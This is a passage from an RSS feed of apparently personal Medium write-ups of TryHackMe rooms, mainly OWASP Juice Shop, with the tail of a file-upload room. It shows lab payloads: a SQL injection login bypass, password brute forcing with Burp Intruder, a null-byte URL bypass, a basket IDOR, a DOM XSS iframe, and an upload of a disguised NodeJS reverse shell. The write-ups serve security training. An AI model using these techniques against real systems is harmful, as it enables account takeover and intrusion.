crashing<br>})();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tEN_ZlcVEJ4YgqAiWz3zLA.png" /></figure><p>I turned on Burp Suite and made the necessary changes to allow JavaScript files to be intercepted by going to the “Options” tab at the top of the Burp suite window, then under the “Intercept Client Requests” section, editing the condition of the first line to remove ^js$|</p><p>I ran into an issue with client side filter testing which is with trying to get the body message and content of one file upload.js. I would only get a 304 message and just the headers and no message body which should have the code of the JavaScript file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RTVHmv6wK5v4M33Mz6iwdQ.png" /></figure><p>After I did research on this response code, I went into history tab under the hamburger tab and clear all of the recent history to fix this issue and get a 200 OK returned as well as the JavaScript code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*K5dHf86q4ayHnUXftCYN4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5xKNrejf1H7kP6AZRWehw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1FxS_J5byqblRz6KqBu0A.png" /></figure><p>I attempt to remove the filters from the intercepted request but didn&#39;t have any luck with uploading my JS webshell script. This tells me there is server-side scripting going on.</p><p>I attempted to switch my shell script’s file type to JPG, the file format accepted and expected to pass based on the web app’s filtering and tried to upload the file to see what happens next</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jrq7tEJvy1bUhcHVcKbu7w.png" /></figure><p>The result is that the upload got accepted and bypassed the client and server side filters by returning a HTTP response of 200 OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBZRtx3vqU2rJh8qOlD00g.png" /></figure><p>Next, I ran the previous gobuster command to figure out what the new filename of the shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpnQ-XDlQVbdoZd5vUW21g.png" /></figure><p>Knowing that, I proceeded to the <a href="http://jewel.uploadvulns.thm/admin">http://jewel.uploadvulns.thm/admin</a> which acted as a way to activate modules or JS files. It took me a while to figure this out, but the input field takes a path of a file that is located somewhere in the backend directory route path of the NodeJS. So i proceeded to use ../content/TZH.jpg to specify going back a directory from the admin directory into presumably the content folder that has our JS script uploaded so it can be activated to receive a connect back connection on my AttackBox listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dg9AOMZ4D93x4eCu_lXDIQ.png" /></figure><p>This tells us that our shell uploaded, seeing an error message is expected as the jpg was not exactly a jpg but is JS script in diguise</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3EFCgqbek_Zi9m30IxyqAw.png" /></figure><p>I proceeded to run my netcat listener on my side and tried to access the above file again under my content directory. I was able to receive a connection from the NodeJS reverse shell and access to the target machine to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAhCyyDy2z3m_j-DgKD41w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEWLrlG8dtnSYuNN6vx4sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Z735iNmMjcqGU2zMpZRCw.png" /></figure><p>I received the connection and proceeded to use the necessary commands to get to the flag within the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*vhs08Z-1ZCDb1hCXpcuFLA.png" /></figure><p>This concludes my hands-on and initial writeup of the Uploads Vulnerability room. If this helped you out, feel free to leave this a click.</p><p>This was definitely one of the tougher TryHackMe rooms which required some use of hints and to attack this room slowly to digest and learn the information and concepts. My knowledge and expsource to the What the Shell THM room help familiarize me with how Reverse Shells and web shells work and carry out remote code execution firsthand while doing the exercises.</p><p>I learned that file uploads are another way an attacker can try to attack and compromise the system they are targeting. HTTP headers can be dead giveaways of information that attackers can use to try to exploit a system’s file upload process if they are able to.</p><p>If there is any constructive feedback or something you want to see included, do not hesitate to reach out.</p><p>Thank you for reading and keep on learning,</p><p>-Chris Fouad Jabbour</p><p>References:</p><p><a href="https://www.makeuseof.com/tag/modify-manage-hosts-file-linux/">How to Modify and Manage the Hosts File on Linux (makeuseof.com)</a></p><p><a href="https://linuxhandbook.com/etc-hosts-file/">What is the Purpose of /etc/hosts File in Linux (linuxhandbook.com)</a></p><p><a href="https://crashtest-security.com/enumeration-cyber-security/#:~:text=Enumeration%20is%20crucial%20in%20the%20reconnaissance%20phase%20of,users%2C%20hosts%2C%20networks%2C%20primary%20servers%2C%20and%20application%20configuration.">What Is Enumeration In Hacking? — Cyber Security Blog (crashtest-security.com)</a></p><p><a href="https://www.freecodecamp.org/news/gobuster-tutorial-find-hidden-directories-sub-domains-and-s3-buckets/">Gobuster Tutorial — How to Find Hidden Directories, Sub-Domains, and S3 Buckets (freecodecamp.org)</a></p><p><a href="https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/">Web Shells 101 Using PHP (Web Shells Part 2) | Acunetix</a></p><p>L<a href="https://en.wikipedia.org/wiki/List_of_file_signatures">ist of file signatures on Wikipedia</a></p><p><a href="https://superuser.com/questions/1205975/can-sublime-text-be-used-as-hex-editor#:~:text=This%20can%20be%20done%20without%20installing%20any%20plugins.,select%20File%20-%3E%20Reopen%20with%20Encoding%20-%3E%20Hexademical.">windows 7 — Can sublime text be used as hex editor? — Super User</a></p><p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/304">304 Not Modified — HTTP | MDN (mozilla.org)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=feeb14df805d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Juice Shop TryHackMe Writeup]]></title>
            <link>https://medium.com/@cyberjab/owasp-juice-shop-tryhackme-writeup-walkthrough-f1510d349771?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1510d349771</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[owasp-juice-shop]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Wed, 12 Apr 2023 16:24:14 GMT</pubDate>
            <atom:updated>2023-05-27T00:12:54.280Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*IQOESe11gREzm5HG.png" /></figure><p>My writeup on my initial walkthrough of the <a href="https://tryhackme.com/room/owaspjuiceshop">Juice Shop TryHackMe Room</a> with steps and notes on what I learned.</p><p>This room gives an overview on the Juice Shop vulnerable app created by OWASP for learning how to identify common web application vulnerabilities found in OWASP’s top ten vulnerabilities listing. I will explain the actions and steps I took to get each text flag value needed to answer the questions. The flags are censored to make sure the answers for all the questions aren’t given out freely.</p><h3>What is the Juice Shop?</h3><p>The Juice Shop application is a web application made insecure on purpose as a tool by OWASP to provide security training in the form of hacking challenges which are to exploit the vulnerabilities present within the app. It provides awareness of security flaws that can be potentially found in real-world applications if safeguards are not in place to mitigate the vulnerabilities.</p><p>It was created by Björn Kimminch and maintained by a team of volunteers on the GitHub repository where the source code for the application is located. An overview and link to the GitHub code repository of the Juice Shop can be found in this <a href="https://owasp.org/www-project-juice-shop/">link</a>.</p><h3>Prerequisites</h3><p>As prerequisites before starting this room, I went through and completed the following TryHackMe rooms: Burp Suite Basics and Burp Suite Repeater as recommended.</p><h3>Method of connection</h3><ul><li>Browser-based Virtual Machine (VM) within TryHackMe known as an AttackBox</li></ul><h3>Terminology Covered in this writeup</h3><p><strong>Broken Access Control</strong> — A type of vulnerability that lets unauthorized users gain access to sensitive data or systems.</p><p><strong>Broken Authentication</strong> — Type of vulnerability that lets attackers impersonate legitimate users on an application</p><p><strong>Cross-site Scripting</strong> — A type of vulnerability where attackers can run JavaScript code within a web application. Also known as XSS.</p><p><strong>Injection </strong>— a type of vulnerability where an attacker enters a type of malformed user input to cause an unexpected behavior on the target application in unexpected ways that can compromise the application.</p><ul><li>Examples of compromises include tampering with (delete or modify) or retrieving sensitive application and user data from the application’s database tables as in an SQL Injection.</li></ul><p><strong>OSINT </strong>— A method for getting information on a thing, entity or suspect from free sources available to the public whether online or offline. examples include the surface web and public databases. Stands for <strong>O</strong>pen-<strong>S</strong>ource I<strong>nt</strong>elligence.</p><p><strong>Reconnaissance </strong>— The information-gathering stage and process done by an ethical hacker or attacker to collect data to be used in attacking a target system.</p><p><strong>Sensitive Data Exposure</strong> — A type of vulnerability when unauthorized parties can access or transmit sensitive information. The information can be passwords to accounts, confidential documents, or credit card numbers for example.</p><p>“<strong>Walking through an application</strong>” — It is a phrase referring to the penetration testing technique in where the tester or attacker is manually checking or browsing an application (using only their browser’s developer tools) to look for any security issues. It is also known as “application walking” or “application walkthrough”.</p><h3>Task 1: Open for Business!</h3><p><strong>Question 1: Deploy the VM attached to this task to get started! You can access this machine by using your </strong><a href="https://tryhackme.com/my-machine"><strong>browser-based machine</strong></a><strong>, or if you’re connected through </strong><a href="https://tryhackme.com/access"><strong>OpenVPN</strong></a><strong>.</strong></p><p><em>No answer needed</em></p><p><strong>Question 2: Once the machine has loaded, access it by copying and pasting its IP into your browser; if you’re using the browser-based machine, paste the machines IP into a browser on that machine.</strong></p><p><em>No answer needed</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*GuMmeNhNKQw8dRsE5VXt1Q.png" /></figure><blockquote><strong>Important Note: </strong>the IP address will vary any time a VM in use expires or terminates. Assume all the IP addresses seen and used in the following screenshots and URLs are what the IP address of the Juice Shop is when active on TryHackMe.</blockquote><h3>Task 2: Lets go on an adventure!</h3><p>This task introduces the process of <em>walking through </em>a website or web application as a part and form of the reconnaissance phase of penetration test or of a cyberattack.</p><p>This task is self-explanatory and gives steps on how to find and answer each question while showing what I call application security bad practices. For the product reviews within the application, each review shows the user’s email address.</p><p><strong>Question #1: What’s the Administrator’s email address?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*4zCrBxoOKkKx76DzIisQEw.png" /></figure><p><strong>Question #2: What parameter is used for searching?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*4NXHxgKgajx4aFMOb170IQ.png" /></figure><p>It can be found easily in the address bar by trying to do a search for anything, in this case I searched for test and was able to figure out the parameter which was located after the question mark in a URL.</p><p><strong>Question #3: What show does Jim reference in his review?</strong></p><p>This question can be solved with some OSINT work by searching for what a replicator is using a search engine of my choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zEe1hk8xcWjA2-FZLF6G4A.png" /></figure><h3>Task 3: Inject the juice</h3><p>This task gives an overview of the types of Injection vulnerabilities and identifying injection points within a web application.</p><p>The questions within this task correspond to an example of an SQL injection vulnerability on how a lack of user input sanitization could be abused to get information to access and login as an existing user.</p><p><strong>Question #1: Log into the administrator account!</strong></p><p><strong>Burp Suite Proxy setup</strong></p><p>I opened the Burp Suite application installed on my AttackBox to start the proxy server and set it up with intercept turned on to catch and modify requests sent to the Juice Shop website.</p><p>Next, I turned on the Burp Suite proxy profile on my FireFox Browser within the FoxyProxy extension to start with intercepting requests sent and capturing the request within the Burp Suite Repeater. The repeater tool in Burp Suite will get the originally sent request so it can be modified and sent as many times as possible as well as return response results from when the modified requests are resent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*HbwJglkvaUMny37eqxH3sA.png" /></figure><p>I entered some dummy email and password value and clicked the log in button to send the request through the proxy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*GwDdBOo7os6mqlF_wVo6Cg.png" /></figure><p>Once I received the request with the Burp Suite Proxy, I proceeded to right click on the request for other options and chose the<strong> Send to Repeater</strong> option (Ctrl + R keyboard shortcut) to capture the request to the Juice Shop website login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*ycjsdUIhblrhog6gk8SJ0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*0zgf0sR0W_MFKtA-QJjgAQ.png" /></figure><p>I switched to the Repeater tab in Burp Suite and proceeded with modified the email parameter value from “cj” to ‘ or 0=0 — — to be interpreted as characters used in modifying SQL that will receive this input and act in an unexpected way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*2txP-AiCRkpjoMsQP4xXqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/177/1*h2AFa9yXWa8EUf3eu-xh4w.png" /></figure><p><strong>SQL Logic Explanation</strong></p><p>The single quote closes the SQL statement and adds an or statement followed by an always true logical comparison (i.e, <em>0=0</em>). An <em>or</em> statement will return true if either compared input is true and <em>0=0</em> will always return true. The two hyphen symbols represent a comment line in SQL and any text or input after the comment line is ignored by the SQL DBMS which the query is passed into.</p><p>The impact of the input can be thought of in a pseudocode example below to show how the malformed input can cause unexpected results by manipulating a hardcoded SQL query within an application’s back end.</p><blockquote>SELECT needed columns FROM USER_TABLE WHERE [The logic of the SQL query to get the email from user table]<strong>’ or 0=0 </strong>— — [ SQL query logic for password and criteria restrictions commented out and ignored]</blockquote><p>I clicked the send button on Burp Suite and received a 200 HTTP response code with an authentication token value and uemail value of the admin user account. I have logged with the first email that is on the user table which is the administrator’s email address. It is sometimes expected that an administrator user is the first user or among the first few users existing in a database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*GwiH-uGVXc5oP--PnPk06g.png" /></figure><p>After I received the 200 OK response on the Burp Suite Intruder tool, I navigated back to the login page where I had submitted my dummy email and password log in. I received a success prompt for completing the challenge to login as the administrator user account as well as the flag needed to complete the first task question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*I_3syiH-0MxSkOWZNUaBPA.png" /></figure><p>Knowing that my modified request with the malformed input to manipulate the SQL query works, I proceeded to login with the SQL syntax logic I used in Burp Suite and a random password as input. I was able to log in as the administrator’s user account successfully without using the correct password set on the admin user account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ldeInPuLysvSBgDJboaJog.png" /></figure><p><strong>Question #2: Log into the Bender account!</strong></p><p><strong>Steps for Question #2</strong></p><p>To login into Bender’s account, I would need to know his email. I started looking around the product reviews section of the Juice Shop app to see if I could find it. Within the Banana Juice (1000ml) product’s review section, a comment was made from Bender’s email address. This gave me the email address I needed to attempt the SQL injection method as discussed in task 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*csg68xCzX4UjjJqaiRn7_Q.png" /></figure><p>Since the email address to Bender’s account is known, I could use that as a part of my login HTTP request payload using the Burp Suite Repeater.</p><p>Based on what I learned from the first question with using Boolean logic statement and comment operator to force the SQL query to be true by our malformed SQL based input.</p><p>I added a random password and Bender’s email address to the HTTP login request I am modifying on Burp Suite repeater. With the knowledge that Bender’s email address is valid, I append the following characters to the end of the email to attempt to bypass the login system ‘ — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*zsSuN8vKNWZW3MalzffR8Q.png" /></figure><p>I sent the HTTP request on Burp Suite and got a 200 OK response that told me the login attempt was a success using the SQL syntactical characters as part of the input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*QkpRzXgXWirzvuzvTfMTsg.png" /></figure><h3>Task 4: Who broke my lock?!</h3><p>Task 4 investigates the Broken Authentication vulnerability and several examples of mechanisms that can be taken advantage from this vulnerability. The mechanisms covered in this task are weak passwords in highly privileged accounts and forgotten password pages.</p><p><strong>Question #1: Bruteforce the Administrator account’s password!</strong></p><p>To answer this question, we will need to bruteforce the Admin’s account.</p><p>With my Burp Suite Proxy enabled on my browser and running on my AttackBox, I proceeded to send a dummy login request on the Juice Shop login page to capture it with Burp Suite.</p><p>Once the request to log in with the admin email was intercepted, I proceeded to send the request to the Intruder tool on Burp Suite by right clicking and going to the <strong>Send to Intruder </strong>option. It can also be sent using the shortcut Ctrl + I.</p><blockquote>The Intruder tool automates HTTP web requests and in our case, we will be automating login attempt requests with different possible passwords tried in each request to find an exact match for the admin user account.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*GCw8iJk9qRWsKiHxrtMvkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*dwcGYZbdQU8r8chJ_-fZDA.png" /></figure><p>Once I am at the Intruder tab and at the positions sub-tab page. I proceeded to select the Clear <strong>§ </strong>button to remove the existing section symbols within the payload parameter values. I added two section symbols inside the quotes for the password parameter value using the <strong>Add § </strong>button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*6_4-ZwqvfvVXkNKhwdd5aA.png" /></figure><p>The next steps specified will be to specify what list of simple strings to be used as payloads for the brute force attempt. The task gives us a list to use, best1050.txt located in the following directory path, <em>/usr/share/wordlists/SecLists/Passwords/Common-Credentials/best1050.txt.</em></p><p>I switched to the Payloads sub-tab and under the <strong>Payload Options [Simple list] </strong>setting, I proceeded to add the file by selected the <strong>Load …</strong> option button and navigated to the location of the text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*R7bDgOjFQ6lCINcL9Ent_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*e-WfPVdDaHUVXZXaWAQ-Ig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*xC-A6VtX6ey1CFpK2qmKqw.png" /></figure><p>Once the file was loaded into Burp, I started the brute force attack by clicking the <strong>Start Attack </strong>button on the same Payloads sub-tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BjIIF_oAtBmsTrO6Pw-5A.png" /></figure><p>I got the following message as expected saying some functionality is disabled and the attacks are slowed down (or time throttled) since the AttackBox is using the Community Edition of Burp Suite. I proceeded by clicking OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*vlssd9aGXGkBqqADe5CSbA.png" /></figure><p>The Brute Force started to run and attempting send an HTTP login request to the admin log.</p><p>The goal was to look for any 2xx HTTP response status codes that tells us that there was a password payload on the list that was match for the admin’s account and gave a successful login attempt.</p><p>While the brute force attack is going on, I clicked on the <strong>Status </strong>column tab bar below the filter options bar to sort all the status codes in ascending order and I was able to find one request that returned a 200 OK status and the password of the admin user account under the <strong>Payload </strong>column tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*zHdCC3b0zd3h2k-d1sJ1ZA.png" /></figure><p>I proceeded to log in as the admin using the password returned from the 200 HTTP response on the Juice Shop app. The 200 HTTP response returned the first time gave me a green prompt containing the flag I would need to clear this question. I entered the password with the admin email in the login page to further confirm this and I was directed to the home page logged in as the admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*0u09DuK-Txvo6JSabQnyFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*5wkPahJgV1NzrfPY-BFTkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*7HFhWcuENawvBYjidpxBnw.png" /></figure><p><strong>Question #2: Reset Jim’s password!</strong></p><p>This question is asking us to reset Jim’s user account’s password by exploiting the reset password mechanism on the page. From the previous tasks, I found Jim’s user account on a comment he left on the Green Smoothie product. The steps on this task walk you through how to solve it by using OSINT skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*WC3ikNpmX5RNMIEmv3s_AQ.png" /></figure><p>I went back to the login page and clicked on the hyperlink titled <em>Forgot your password?</em> to get to the Forgot Password page,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*5zyCC-ua9zNQu_YL48IW0Q.png" /></figure><p>I entered Jim’s User account, clicked on security question, and found the security question provided to me is asking for “The eldest siblings middle name”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*llh8410eM5R8y2Ol5LxMBA.png" /></figure><p>I decided to do a search engine query for the name Jim and the TV show he referred to see if I can find out the answer to and was able to find it by deducing Jim’s full name to be James Kirk and looking for his brother.</p><p>This gave me the password I needed to be able to do the reset</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*ywl1GdVMPH81V-x4LW7FVw.png" /></figure><p>I entered the password with the new password I used (for simplicity’s sake, I reset the password to Pwned) and clicked the <strong>Change </strong>button. I got a prompt confirming I solved the challenge as well as received the flag needed to answer the question and complete the task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*KBPiYsTXqUPRuDY7K-sSnA.png" /></figure><h3>Task 5 : AH! Don’t look!</h3><p>This task looks at in-app examples of the Sensitive Data Exposure vulnerability within the Juice Shop app where sensitive data can be accessed or viewed by the public users on an application. I proceeded to read the content and questions on this task.</p><p><strong>Question #1: Access the Confidential Document!</strong></p><p>We are asked to look for a confidential document within the Juice Shop application. Files like these are expected to be stored on directory paths or endpoints that are not accessible to the public or people who don’t have the proper authorization to access the information (be it a file or page location).</p><p>I started my search looking for hyperlinks that contained accessible directory paths leading to pages that shouldn’t be able to be accessed by a public facing user.</p><p>On the about page of the app, I found a link the <em>http://10.10.87.13/ftp/legal.md</em> which downloads the example legal terms file. Within the download link, I found an embedded <strong><em>/ftp/</em></strong> directory path and entered the following link, <em>http://10.10.87.13/ftp/</em>, in my browser to see if I can access it as a user who isn&#39;t logged in to the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*Jnat8GcJ9wrmWiwHpupF4g.png" /></figure><p>When I clicked enter to navigate to the ftp directory, I was presented with a directory listing page showing what is currently in the directory. After checking around to see what I can leverage, I proceeded to download the acquisitions.md file to see if I can read or access that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*NjNemOJaGcZRAg6_ypW2WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*CR4TiU2r6upfL_V0ctntCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*JtH_ySpl9H6OXofbg-VKHA.png" /></figure><p>Once I downloaded and viewed the file, I navigated back to the About Us page on the Juice Shop application and was greeted with a prompt saying I completed the challenge and recieved the flag needed to answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*wr3HP68P3dwtOPO303VbPQ.png" /></figure><p><strong>Question #2: Log into MC SafeSearch’s account!</strong></p><p>For the second question, this question is an interesting one in how a user can compromise themselves by exposing information that can be used against them. We are asked to login into MC SafeSearch’s account within the Juice Shop application. We are given his app user account, mc.safesearch@juice-sh.op and a <a href="https://youtu.be/v59CX2DiX0Y">video </a>to watch to try to figure out clues to his password.</p><p>After watching the video and getting a clue to a password to try, I navigated the login page, entered the credentials and clicked Log In</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRtHrTlRezluyqNz54nsuw.png" /></figure><p>I got a successful login on the MC SafeSearch as well as the flag needed to solve this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7saPH2vygnT20R3jaT3Jkw.png" /></figure><p><strong>Question #3: Download the Backup file!</strong></p><p>The last task is to attempt to download the package.json.bak file from the ftp directory listing page. If we try to download the file, we get a 403 HTTP response status code and an error message saying only .md and .pdf files are allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*IqYMcm5i9BziniLYow1-OQ.png" /></figure><p>As the task provides what to do, I did my external research on the following error message recieved on the application. I learned about a character bypass known as the Poison Null Byte. This type of attack involves placing a NULL character (NULL terminator or Poison Null Byte) in the URL string at a certain place which will tell a server to terminate at the point of NULL terminator and disregard whatever strings are left after this terminator character.</p><p>I learned a Poison Null Byte will look this, <em>%00. </em>To download this file from the URL, I need to use the encoding so this character can be used in a URL encoded format, which will be <em>%2500. </em>I used one of the acceptable file extensions, .md, to the end of the URL in attempt to download this file.</p><blockquote>http://10.10.87.13/ftp/package.json.bak%2500.md</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*Y4AxDxh-gzxzGr5EyNBfiQ.png" /></figure><p>I entered the following URL with the encoded Null Terminator character and was able to download the file without restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*bpZuccoRN_vnR6ENe8XzNA.png" /></figure><p>I navigated back to the home page of the Juice Shop app and received two flags in the process, one for the error handling from trying to access the backup file which returned an error that was not gracefully handled in what to show to the user and a second which is for downloading and accessing the backup file of the application. The second success prompt gave me the flag needed to complete this task question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*t3n6mm5equTAmUl4K4RnUw.png" /></figure><h3>Task 6: Who’s flying this thing?</h3><p>This task covers hands-on examples of Broken Access Control exploits and bugs that can occur on web applications</p><p><strong>Question #1: Access the administration page!</strong></p><p>This question asks us to see if the administration page can be accessed and viewed as a user who is not logged in.</p><p>I would begin my search to see if any of the JavaScript files on the web app can give me any hints on what some accessible URL paths can be for this application.</p><p>I proceeded to open my web developer tools on my AttackBox’s Firefox browser by right clicking on any web page on the Juice Shop app and clicking the <strong>Inspect(Q) option </strong>to get access the web developer tools tab.</p><p>I navigated to the <strong>Debugger </strong>sub-tab and processed to look at the JavaScript files within the 10.10.87.13 source which was the IP address for the Juice Shop VM. I turned my attention to main-es2015.js</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*eamOQf20cm9BTAKfANLffg.png" /></figure><p>I proceeded to click the <strong>Pretty print source</strong> option at the bottom left to allow the code within main-es2015.js to be in an easy readable format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*YWNcO7ENU4_JX11wZwDMSw.png" /></figure><p>I proceeded to text search the file for any references to the following words: path and administration. I found a list of paths that gave a hint to what administration page path can be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*oo2N73s3N1obXgAtGc0QDA.png" /></figure><p>I entered <em>http://10.10.87.13/#/administration</em> in my web browser to try to access not logged in but doesn&#39;t work as I am not able to access the page.</p><p>I proceeded to login to the admin user account with the password I acquired from the brute force attack done using the Burp Suite Intruder tool from the previous fourth task of this room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*XSrt-8oTWFRpSO92_2F_Ug.png" /></figure><p>After I logged into the admin’s user account, I entered the link <em>http://10.10.87.13/#/administration</em> to attempt to access it.</p><p>I was able access the administration page successfully which showed a list of customer feedback and registered users on the Juice Shop app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*UOhVfRG0-_FAziwrhc9jRQ.png" /></figure><p><strong>Question #2: View another user’s shopping basket!</strong></p><p>This next question asks us to attempt to view the contents of another user’s shopping cart.</p><p>I proceeded to run my Burp Suite proxy on my AttackBox VM with the Intercept option set to on as well as setting the proxy profile to Burp for all URLs on the FoxyProxy extension on so Firefox can act as the browser to capture and intercept web requests.</p><p>The goal is to capture a HTTP request made to view the shopping cart of an already logged in user with Burp Suite, which in my case, will be the Admin user.</p><p>I intercepted the request to view the shopping cart, which starts as <em>GET </em><strong><em>/rest/basket/1 </em></strong><em>HTTP/1.1</em></p><p>I selected the Send to Repeater option so I can capture and modify this request for attempts to view another user’s cart or basket as specified in the URL path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*99lAea0z3u8Im3zF-0OipA.png" /></figure><p>I navigated over to the repeater tab under the intercept to view the request I sent to it and modify it.</p><p>I started by modifying the number after the /basket/ path from 1 to 2 and clicking the Send button to see if got someone else’s shopping cart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*rQmjtf8serU57n-dRWUAFQ.png" /></figure><p>I got a 200 OK HTTP response that returned a showing cart of someone buying two Raspberry Juices</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*AkRP3m0uqKqQntzENkv-sA.png" /></figure><p>After forwarding other web requests on Burp Suite Proxy HTTP intercept screen, I returned to my browser and got a success prompt for completing this task challenge as well as the flag needed to complete this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*-Wvt4ZubiQxuxSXAPh8J3A.png" /></figure><p><strong>Question #3: Remove all 5-star reviews!</strong></p><p>The next part is easy and straightforward to do once we know how to access the administration section page while logged in as the admin user.</p><p>I proceeded to the administration page link <a href="http://10.10.87.13/#/administration">http://10.10.253.17/#/administration</a> page again and clicked the bin icon next to the reviews with 5 stars to remove them to complete this question.</p><p>After I deleted some of the reviews, I got a success prompt as well as the flag needed to answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ca0KktV2yLTrVe9Dnm4yAQ.png" /></figure><h3>Task 7: Where did that come from?</h3><p>This task covers examples of the three types of XSS attacks that can be done on web apps if no safeguards are in place to protect against each of them. I proceeded to read the content on the task and answer each question</p><p><strong>Question #1: Perform a DOM XSS!</strong></p><p>This question asks to try to manipulate the Juice Shop using the HTML environment to run JavaScript code to manipulate the app when entered as input in any part of the app.</p><p>The input is commonly in the form of a script HTML tag element such as in the pseudocode below as an example,</p><blockquote>&lt;script&gt;JavaScript code goes here&lt;/script&gt;</blockquote><p>or even an iframe HTML element</p><blockquote>&lt;iframe src=”JavaScript code goes here” &gt;</blockquote><p>I began with looking into the behavior of the Juice Shop search bar and attempted to send a request to the search bar with the following HTML markup code</p><blockquote>&lt;iframe src=”javascript:alert(`xss`)”&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*ibWf60OTBIvfM4iKjcgZ1A.png" /></figure><p>I was able to get JavaScript code to show an alert box popup window to show. I closed the page and got a success prompt for completing the challenge and the flag needed to complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Jq9WioOwbPwd_oFEpWumJA.png" /></figure><figure><img alt="" 